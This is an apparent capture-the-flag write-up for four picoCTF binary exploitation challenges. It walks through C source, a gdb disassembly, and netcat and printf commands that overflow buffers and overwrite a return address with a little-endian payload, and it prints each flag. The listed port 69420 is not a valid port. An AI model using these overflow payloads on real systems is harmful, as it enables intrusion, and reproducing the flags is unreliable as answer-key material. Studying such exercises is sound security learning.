PicoCTF: Low Level Binary Intro - Binary Exploitation#

Now we are going back to the binaries, C, and assembly. After the interlude, we are checking out pointers and addresses to retrieve our information.

Picker IV#

Can you figure out how this program works to get the flag?

This time, we are not only being provided with the program’s code, but we are also provided with the program binaries. With these binaries, we could verify the assembly details of the program using gdb, a pretty popular debugger. Bu first, let’s check the source code, it’s written in C, but the structure is very familiar.

The function “main()” is:

int main() {
  signal(SIGSEGV, print_segf_message);
  setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered

  unsigned int val;
  printf("Enter the address in hex to jump to, excluding '0x': ");
  scanf("%x", &val);
  printf("You input 0x%x\n", val);

  void (*foo)(void) = (void (*)())val;
  foo();
}

This tells us that it does not connect in any way to the function “win()” (the function that show us the flag). But it can make a jump to a specific memory address, which could be our “win()” function.

To try that, we first find the address for the “win()” function using the gdb on Picker-IV executable file. After that, we disassemble the win function:

(gdb) disassemble win

It returns with:

Dump of assembler code for function win:
   0x000000000040129e <+0>:     endbr64
   0x00000000004012a2 <+4>:     push   %rbp
   0x00000000004012a3 <+5>:     mov    %rsp,%rbp

So, the first address is 000000000040129e, which could be shortened to 40129e.

Now running the program Picker-IV and inserting the address we just found, the program will jump to that address and the flag will be revealed.

Answer: Flag Picker IV
picoCTF{n3v3r_jump_t0_u53r_5uppl13d_4ddr35535_01672a61}

buffer overflow 0#

This challenge will make us do a buffer overflow, not a buffer overflow to inject some code or data, no, just a buffer overflow. Same as before, the challenge gives us a source code and a binary executable to be analyzed.

The code, written in C, asks for an input and exit the program. Simple as that.

The way that it stores an output is by using the gets function. This is an insecure function, and it’s normally used to buffer overflow programs, here’s the main function:

int main(int argc, char **argv){
  
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }
  
  fgets(flag,FLAGSIZE_MAX,f);
  signal(SIGSEGV, sigsegv_handler); // Set up signal handler
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);


  printf("Input: ");
  fflush(stdout);
  char buf1[100];
  gets(buf1); 
  vuln(buf1);
  printf("The program will exit now\n");
  return 0;
}

And the function that retrieve to us the flag is called sigsegv_handler, that we only get if an error occur (SIGSEGV):

void sigsegv_handler(int sig) {
  printf("%s\n", flag);
  fflush(stdout);
  exit(1);
}

The overflow is literally and overflow of characters, so let’s try writting a bunch of zeroes in the input of the program to see what happens, I’m writting 32 zeroes:

nc saturn.picoctf.net 69420
Input: 0000000000000000000000000000000000000000000000000000000000000000

With that, a SIGSEGV error is thrown and the flag is revealed

Answer: buffer overflow 0
picoCTF{ov3rfl0ws_ar3nt_that_bad_c5ca6248}

Local Target#

Smash the stack Can you overflow the buffer and modify the other local variable?

To explain how to solve this one, first we need to explain a thing about buffer overflow. We already know that if the input is too long, it surpass the limits the program is expecting. But the question is, where this “unexpected long input” go?

The memory have a specific reserved space for data, if the program doesn’t handle this properly, the new data will override parts of the memory with our input.

In this program, we need to set an integer variable named num to 65, with that it returns us the flag.

  int num = 64;
  
  printf("Enter a string: ");
  fflush(stdout);
  gets(input);
  printf("\n");
  
  printf("num is %d\n", num);
  fflush(stdout);
  
  if( num == 65 ){
    printf("You win!\n");
    fflush(stdout);
    // Open file
    fptr = fopen("flag.txt", "r");

The problem is that, the variable num is never changed in any way in the code. We only have an input, and the output is always num = 64. Let’s try to overflow our buffer, because this program still uses the unsecured function gets.

If we input 16 times the number 1 :

echo 1111111111111111 | nc saturn.picoctf.net 69420

No changes, the result is still 64. Let’s try to input 32 times the number 1:

echo 11111111111111111111111111111111 | nc saturn.picoctf.net 69420

This will show a number very far from 64, we have a change, but we need to find the middle ground for our number. After some tinkering I came up with the following sequence:

echo 000000000000000000000000A | nc saturn.picoctf.net 69420

The zeroes is just to fill the space in the memory, but the real changer is the character A, which is 65 in decimal, we are now changing the value of the variable num directly through the memory. And with that, the flag is revealed.

Answer: Local Target
picoCTF{l0c4l5_1n_5c0p3_fee8ef05}

buffer overflow 1#

Control the return address Now we’re cooking! You can overflow the buffer and return to the flag function in the program.

You know how it works, let’s analyze the code.

Just like the previous challenge, that a variable need to be at a specific value, but it’s never called, this time, we have the function “win()”, but it’s never called. So we need to call it from the memory, using our knowledge of buffer overflow.

But, instead of trying to guess the hexadecimal of the input we are adding, we are going to find where it slips to the output and use the printf command to make a better guess.

So, making some guesses, we have the following size of input that reach our overflow output:

00000000000000000000000000000000000000000000011111111

The ones is the place where the output is being replaced, so we need to find the memory position of the function “win()” and put it there. To find it, we will do the same thing as we done in Picker-IV, using gdb and disassemble win to get the address of the function.

We are using the printf to inject the hexadecimal directly, just like this:

printf '000000000000000000000000000000000000000000000\x08\x04\x91\xf6' | nc saturn.picoctf.net 69420

We will also add a 0x0A, so the program will compute a Return/Enter press, validating the input:

printf '000000000000000000000000000000000000000000000\x08\x04\x91\xf6\x0a' | nc saturn.picoctf.net 69420

But wait, it didn’t work. This is because the way the program reads the addresses is in Little Endian, making each byte inverted, so we will send the address inverted per byte, and the program will reorder to the way we want, it will be:

printf '000000000000000000000000000000000000000000000\xf6\x91\x04\x08\x0a' | nc saturn.picoctf.net 69420

With this, the flag is presented to us, finishing this playlist.

Answer: buffer overflow 1
picoCTF{addr3ss3s_ar3_3asy_6462ca2d}